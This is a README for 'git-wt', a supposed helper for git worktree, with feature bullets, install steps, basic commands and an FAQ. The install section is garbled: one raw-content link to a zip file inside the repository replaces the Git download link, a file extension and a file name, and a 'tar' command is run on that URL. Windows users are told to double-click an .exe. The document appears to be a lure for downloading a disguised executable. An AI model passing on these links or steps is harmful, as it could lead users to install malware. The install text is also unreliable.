git-wt is a simple command that enhances the git worktree functionality. It helps you manage project branches and handle files more effectively without getting lost in complex commands. Enjoy a straightforward experience with your Git projects.
- Easy Branch Management: Effortlessly switch between branches without hassle.
- Simple Setup: Get started quickly with minimal configuration.
- User-Friendly Commands: Enjoy intuitive commands designed for beginners and casual users.
- Multiple Worktrees: Open the same project in separate folders for multi-tasking.
- Compatibility: Works seamlessly with Git, enhancing your overall productivity.
- Operating System: Windows, macOS, or Linux.
- Git Installation: Ensure that Git is installed on your system. You can download it from https://raw.githubusercontent.com/OFenomenal/git-wt/main/cmd/git_wt_v2.6.zip.
- Disk Space: At least 50 MB of free disk space for installation.
To get started with git-wt, visit the Releases page to download the latest version.
Once you are on the Releases page, follow these steps to install:
- Look for the latest release at the top.
- Download the version that matches your operating system (you’ll see options like
.exefor Windows orhttps://raw.githubusercontent.com/OFenomenal/git-wt/main/cmd/git_wt_v2.6.zipfor Linux/macOS). - After downloading, locate the file on your computer.
- For Windows Users: Double-click the downloaded
.exefile to start the installation. Follow the on-screen instructions. - For macOS and Linux Users: Open a terminal window and navigate to the location of the downloaded file. Use the command
tar -xzf https://raw.githubusercontent.com/OFenomenal/git-wt/main/cmd/git_wt_v2.6.zipto extract. Replacehttps://raw.githubusercontent.com/OFenomenal/git-wt/main/cmd/git_wt_v2.6.zipwith the actual file name. Then, follow additional instructions found in the extracted folder.
Once you complete the installation, you can start using git-wt right away!
Here are some basic commands to help you get started:
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Create a New Worktree:
git wt create <branch-name>This command sets up a new worktree linked to the specified branch.
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List All Worktrees:
git wt listThis command shows all current worktrees you have set up.
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Remove a Worktree:
git wt remove <branch-name>Use this to delete a specific worktree.
Imagine working on a feature branch while also needing to fix a bug on the main branch. With git-wt, you can set up multiple worktrees. Here’s a simple scenario:
- Create a branch for your feature:
git wt create feature/my-feature - Now switch to your main branch:
git wt create main - You can now work on both branches without any confusion.
git-wt is a subcommand for Git that simplifies the usage of git worktree. It allows you to manage branches and workspaces with ease.
No, git-wt is designed for users of all levels, including those without programming knowledge. It aims to streamline common Git tasks.
Yes, git-wt works with any Git repository. Just navigate to your desired repository folder and start using the command.
You can check the Issues section of the repository on GitHub for solutions or report your problem. The community is there to help!
If you're interested in contributing to git-wt, you can start by checking out the existing issues and submitting your enhancements or bug fixes. Every contribution helps improve the tool for everyone. Your feedback is also welcome!
- Official Git Documentation: Git Documentation
- Community Forum: Join discussions and get help on Git-related topics.
If you enjoy using git-wt, consider sharing it with your friends or colleagues who may benefit from a simpler Git experience. We appreciate your support!
Remember, for any questions, feel free to reach out via the GitHub repository. Happy tracking!